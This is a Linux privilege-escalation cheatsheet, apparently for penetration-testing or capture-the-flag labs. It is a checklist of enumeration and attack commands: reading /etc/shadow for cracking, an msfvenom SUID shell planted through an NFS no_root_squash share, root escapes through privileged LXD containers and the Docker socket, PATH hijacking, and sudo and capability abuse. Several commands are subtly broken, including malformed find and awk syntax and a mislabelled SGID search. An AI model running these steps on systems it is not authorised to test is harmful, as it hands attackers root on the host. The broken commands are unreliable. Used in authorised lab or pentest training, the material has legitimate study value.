

Linux PrivEsc Cheatsheet

Enumeration:

System:

- ☐ OS version, `cat /etc/os-release`
- ☐ Kernel version, `uname -a` OR `/etc/issue` OR `cat /proc/version` (Reveals the compiler version along with the kernel version)
- ☐ Checking the sudo version, `sudo -V`
- ☐ env variable, `env`
- ☐ Host name enumeration, `hostname`
- ☐ Check for hosts, `cat /etc/hosts`
- ☐ Available login shells, `cat /etc/shells`
- ☐ CPU version/type, `lscpu`
- ☐ Attached printers, `lpstat`
- ☐ Running LinPeas, LinEnum, Linux Exploit Suggester

Users & Groups:

- ☐ User and group identity information, `id`
- ☐ Gathering usernames from the passwd file, `cat /etc/passwd` OR `cat /etc/passwd | cut -f1 -d:` (Check if the file is writeable)
- ☐ Existing users with login shells, `grep "sh$" /etc/passwd`
- ☐ Gathering hashes from the shadow file for offline cracking, `cat /etc/shadow` (Use unshadow and johntheripper to crack hashes offline)
- ☐ Existing groups, `cat /etc/group`
- ☐ Members of any interesting groups, `getent group sudo`
- ☐ Check `/home` directory, `.bash_history`, `history` and `.ssh` for individual users
- ☐ View which user last logged in, `lastlog`
- ☐ View Currently logged in users, `w`
- ☐ Finding history files of different users, `find / -type f \(-name *_hist -o -name *_history \) -exec ls -l {} \; 2>/dev/null`
- ☐ Find users in the `LXC / LXD` groups
- ☐ Try to add/find users in the `docker`, `disk`, `adm` groups

Files & Folders:

- ☐ All hidden files, `find / -type f -name ".*" -exec ls -l {} \; 2>/dev/null`
- ☐ All hidden directories, `find / -type d -name ".*" -ls 2>/dev/null`
- ☐ Finding writeable directories, `find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null`
- ☐ Finding writeable files, `find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null`
- ☐ Finding .conf files, `find / -type f \(-name *.conf -o -name *.config \) -exec ls -l {} \; 2>/dev/null`
- ☐ Finding config files, `find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null`
- ☐ Finding xml files, `find / -type f \(-name "*.xml" \) -exec ls -l {} \; 2>/dev/null`
- ☐ Finding backup files, `find / -type f \(-name "*backup*" -o -name "*.bak" \) 2>/dev/null`
- ☐ Finding scripts, `find / -type f -name "*.sh" 2>/dev/null | grep -v "src\|snap\|share"`

Services & Processes:

- ☐ Running services, `ps aux | grep root`
- ☐ Run the tool `pspy64` to check running processes
- ☐ Finding daily cron jobs, `ls -la /etc/cron.daily/`
- ☐ Finding information about processes and kernel from the proc filesystem, `find /proc -name cmdline -exec cat {} \; 2>/dev/null | tr " " "\n"`
- ☐ Listing installed packages, `apt list --installed | tr "/" " " | cut -d" " -f1,3 | sed 's/[0-9]://g' | tee -a installed_pkgs.list`
- ☐ Listing installed binaries, `ls -l /bin /usr/bin/ /usr/sbin/`

Network:

- ☐ Routing table, `route` OR `netstat -ano`
- ☐ ARP table, `arp -a`
- ☐ Check network interfaces, `ip a` OR `ifconfig` OR `ip route`
- ☐ Trace system calls, `strace ping -c1 10.129.112.20`

Disk & File System:

- ☐ Available disk block devices, `lsblk`
- ☐ Checking mounted and unmounted drives, `cat /etc/fstab`
- ☐ Mounted file systems, `df -h`

- ☐ Gathering info about unmounted file systems, `cat /etc/fstab | grep -v "#" | column -t`
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Privilege Escalation Vectors:

Permission Based PrivEsc:

Sudo Policy Bypass:

- ☐ Check sudo permission, `sudo -l`
- ☐ Check `sudoers` file, `sudo cat /etc/sudoers | grep -v "#" | sed -r '/^\s*$/d'`
- ☐ Leverage application functions using custom exploitation
- ☐ Custom exploit can be used if the variable `env_keep+=LD_PRELOAD` is set in the sudo permission.
- ☐ Sudo abuse using GTFObins, `for i in $(curl -s https://gtfobins.github.io/ | html2text | cut -d" " -f1 | sed '/^[[:space:]]*$/d');do if grep -q "$i" installed_pkgs.list;then echo "Check GTF0 for: $i";fi;done`

SUID & SGID Abuse:

- ☐ Listing files that have SUID bits set, `find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null`
- ☐ Listing files that have SGID bits set, `find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null`
- ☐ Use GTFObins to exploit

Capabilities Abuse:

- ☐ Listing user capabilities, `getcap -r / 2>/dev/null` (Root can be gained if `CAP_SETUID`, `CAP_SETGID`, `CAP_SYS_ADMIN` capabilities are set, other capabilities can lead to different exploitation too so make sure to pay attention to them)
- ☐ Use GTFObins to exploit

NFS File Share Abuse:

- ☐ Check NFS config file, `cat /etc/exports`
- ☐ Check for the privesc vector `no_root_squash` permission
- ☐ Enumerate shares from the attackers host, `showmount -e 10.10.203.238`

- ☐ Mount to the `no_root_squash` NFS share, `sudo mount -o rw 10.10.203.238:/tmp /tmp/attackershost`
- ☐ Generate a msfvenom payload, `msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/fuck/shell.elf`
- ☐ Upload the file and give execution, SUID permission as a root user, `chmod +xs shell.elf`
- ☐ Execute from the target machine

Environment Based PrivEsc:

PATH Hijacking:

- ☐ Check the PATH variable, `echo $PATH`
- ☐ Find for SUID bits executable without fully specified path to manipulate the PATH Variable, `find / -type f -perm -04000 -ls 2>/dev/null`
- ☐ Changing the PATH variable, `export PATH=/tmp:$PATH`
- ☐ Create a malicious binary in the `/tmp` folder

Restricted Shell Bypass:

- ☐ Use command injection techniques to bypass restricted shells, `` ; |`
- ☐ Use `ssh` arguments to execute commands before the restricted shell loads

LXC/LXD Abuse:

- ☐ Check if the user is in the `lxd` group
- ☐ Find / Download the image / tar ball
- ☐ Import the image, `lxc image import ubuntu-template.tar.xz --alias ubuntutemp`
- ☐ List images after import, `lxc image list`
- ☐ Disable all isolation features, `lxc init ubuntutemp privesc -c security.privileged=true`
- ☐ Mounting the root folder recursively, `lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true`
- ☐ Start the linux daemon, `lxc start privesc`
- ☐ Executing the shell, `lxc exec privesc /bin/bash`
- ☐ Mounting the root folder, `ls -l /mnt/root`

Docker Abuse:

- ☐ Find a user in the `docker` group, ``for user in $(cat /etc/passwd | awk -F : 'print $1'); do echo "user" ; id "$user" ; done | grep -B 1 "docker"```

- ☐ Find locally available images, `docker image ls`
- ☐ Locate `docker.sock` to interact with the docker daemon, `find / -name docker.sock 2>/dev/null`
- ☐ Download and transfer the `docker` binary and give execution policy
- ☐ Use the docker socket to execute commands, `/tmp/docker -H unix:///app/docker.sock ps`
- ☐ Creating a docker container that maps the root directory by using the socket, `/tmp/docker -H unix:///app/docker.sock run --rm -d --privileged -v /:/hostsystem main_app`
- ☐ Getting docker list, `/tmp/docker -H unix:///app/docker.sock ps`
- ☐ Execute commands on behalf of the root mounted docker, `/tmp/docker -H unix:///app/docker.sock exec -it 7ae3bcc818af /bin/bash`
- ☐ Direct root access via the writable `docker.sock` can be accessible if the user in the docker group or the user has write access over the `docker.sock`, `docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it ubuntu chroot /mnt bash`

Kubernetes BreakOut:

- ☐ Check Google

Service Based PrivEsc:

Corn Jobs Hijacking:

- ☐ Check running cron jobs, `cat /etc/crontab`
- ☐ Look for scripts or jobs without fully specified path or SUID's

Logrotate Abuse:

- ☐ Read the conf file, `cat /etc/logrotate.conf`
- ☐ We need `write` permissions on the log files
- ☐ Logrotate must run as a privileged user or `root`

Hijacking Tmux Sessions:

- ☐ Creating a new session, `tmux -S /shareds new -s debugsess`
- ☐ Modify Ownership, `chown root:devs /shareds`
- ☐ Check for running tmux processes, `ps aux | grep tmux`